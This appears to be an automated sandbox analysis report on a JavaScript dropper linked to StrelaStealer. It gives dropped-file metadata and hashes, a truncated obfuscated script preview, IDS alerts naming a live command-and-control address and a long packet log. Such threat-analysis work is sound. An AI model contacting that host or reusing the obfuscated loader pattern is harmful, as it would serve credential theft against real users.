File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Static File Info

General

File type:	ASCII text, with very long lines (35053), with CRLF line terminators
Entropy (8bit):	4.8867901260424995
TrID:
File name:	21033090848109083.js
File size:	35'086 bytes
MD5:	c26794c1299c19f6b2a6dec033f4b9f5
SHA1:	4fde25f6f7d3306a230cdc043970b941e463a9e1
SHA256:	c3a9ba3d824cfc1e0a871f4a0de4e24f042d779b5f5175463a95815df35868be
SHA512:	323a2a023a341916542ec0ef7a921fc7ec4373b86416bebe4d461a11a8de8672060a08303b4e8be7b1d631407df6293be5767549a0e2b10ea912bdf63d04c68d
SSDEEP:	384:zsdqIkzw6TqmmgzwfvFy6TRBde9zL+4GvUzIsfWUzHaWJy2JJymTJ23zwCIzw6Tk:SCqfLmTog10DiZLOrC0r
TLSH:	22F2EF5EF07B05D1B9EDF58A9DED1C5687E8576B3B07A248C2782041B18AE8074FB336
File Content Preview:	function abkmtfe(){bjqcwk=this;..bjqcwk[aigreq+jrvrc+udjbtk+nuopbjhi](aigreq+kplkqok+ynvkuh+ynvkuh+heguw+jrvrc+uncaqwpyl+sagfpfqg+hwnnyzj+trutvw+umatujo+tikqnaoe+kzbdj+umatujo+psslmeodi+kzbdj+tikqnaoe+cpljyawp+vsjxxxxcd+psslmeodi+bmsiyrl+umatujo+afmalsj+c

File Icon


Icon Hash:	68d69b8bb6aa9a86

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2025-01-15T13:08:03.961353+0100	1810000	Joe Security ANOMALY Windows PowerShell HTTP activity	2	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-15T13:08:03.961353+0100	2859560	ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)	1	192.168.2.5	49704	193.143.1.205	80	TCP
2025-01-15T13:08:06.011075+0100	1810005	Joe Security ANOMALY Microsoft Office WebDAV Discovery	1	192.168.2.5	49705	193.143.1.205	8888	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 15, 2025 13:08:03.144893885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:03.149789095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:03.149864912 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:03.152589083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:03.157381058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:03.961266994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:03.961283922 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:03.961302042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:03.961312056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:03.961324930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:03.961353064 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:03.961386919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:03.961397886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:03.961410999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:03.961425066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:03.961431980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:03.961431980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:03.961440086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:03.961461067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:03.961482048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:03.966322899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:03.966348886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:03.966403008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.008672953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.008687019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.008696079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.008843899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.081953049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.081967115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.082004070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.082015991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.082015991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.082035065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.082071066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.082453012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.082464933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.082475901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.082489014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.082495928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.082525969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.083029032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.083046913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.083056927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.083069086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.083070040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.083087921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.083092928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.083137989 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.083738089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.083754063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.083767891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.083786964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.083791971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.083797932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.083821058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.084567070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.084604025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.084630966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.101032019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.101083040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.129209995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.129230022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.129240036 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.129251003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.129266024 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.129295111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.175287008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.175297976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.175365925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.204560995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.204575062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.204585075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.204699039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.204709053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.204720974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.204742908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.204773903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.204773903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.205012083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.205023050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.205060005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.205151081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.205167055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.205204964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.205585003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.205595016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.205604076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.205615044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.205621004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.205629110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.205652952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.205740929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.205753088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.205775976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.206495047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.206506014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.206515074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.206520081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.206532001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.206537008 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.206545115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.206557035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.206562042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.206562042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.206599951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.207437038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.207451105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.207509041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.207608938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.207622051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.207633018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.207645893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.207655907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.207663059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.207678080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.208441019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.208455086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.208467007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.208472967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.208478928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.208492994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.208496094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.208506107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.208518982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.208532095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.208551884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.209316969 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.209330082 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.209371090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.221637011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.221649885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.221705914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.249886990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.249919891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.249937057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.249952078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.249969006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.249969959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.249986887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.249991894 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.250005960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.250032902 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.292346001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.296372890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.296401024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.296418905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.296435118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.296453953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.296490908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.296490908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.323775053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.323807955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.323824883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.323842049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.323858023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.323862076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.323862076 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.323875904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.323895931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.323920012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.323923111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.323940992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.323944092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.323957920 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.323975086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.323978901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.323988914 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.324007034 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.324243069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.324292898 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.324315071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.324331999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.324362993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.324376106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.324379921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.324418068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.324702978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.324718952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.324736118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.324759007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.324959040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.324975967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.324990988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325000048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.325005054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325031042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325042963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.325045109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325063944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325067043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.325081110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325098038 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325100899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.325114965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325130939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325148106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.325169086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.325793982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325809956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325828075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325846910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.325853109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325870037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325891018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325906992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325908899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.325934887 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325941086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.325949907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325967073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325978041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.325983047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.325999022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.326728106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.326755047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.326771021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.326783895 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.326791048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.326807976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.326816082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.326853991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.326890945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.326906919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.326921940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.326940060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.326947927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.326956987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.326975107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.326978922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.327023029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.327708006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.327734947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.327752113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.327778101 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.327779055 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.327795029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.327811956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.327816010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.327860117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.327905893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.327923059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.327939034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.327951908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.327960968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.327987909 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.329096079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.342251062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.342274904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.342291117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.342307091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.342308998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.342324018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.342339993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.342350960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.342359066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.342386007 CET	49704	80	192.168.2.5	193.143.1.205
Jan 15, 2025 13:08:04.342616081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 15, 2025 13:08:04.342632055 CET	80	49704	193.143.1.205	192.168.2.5
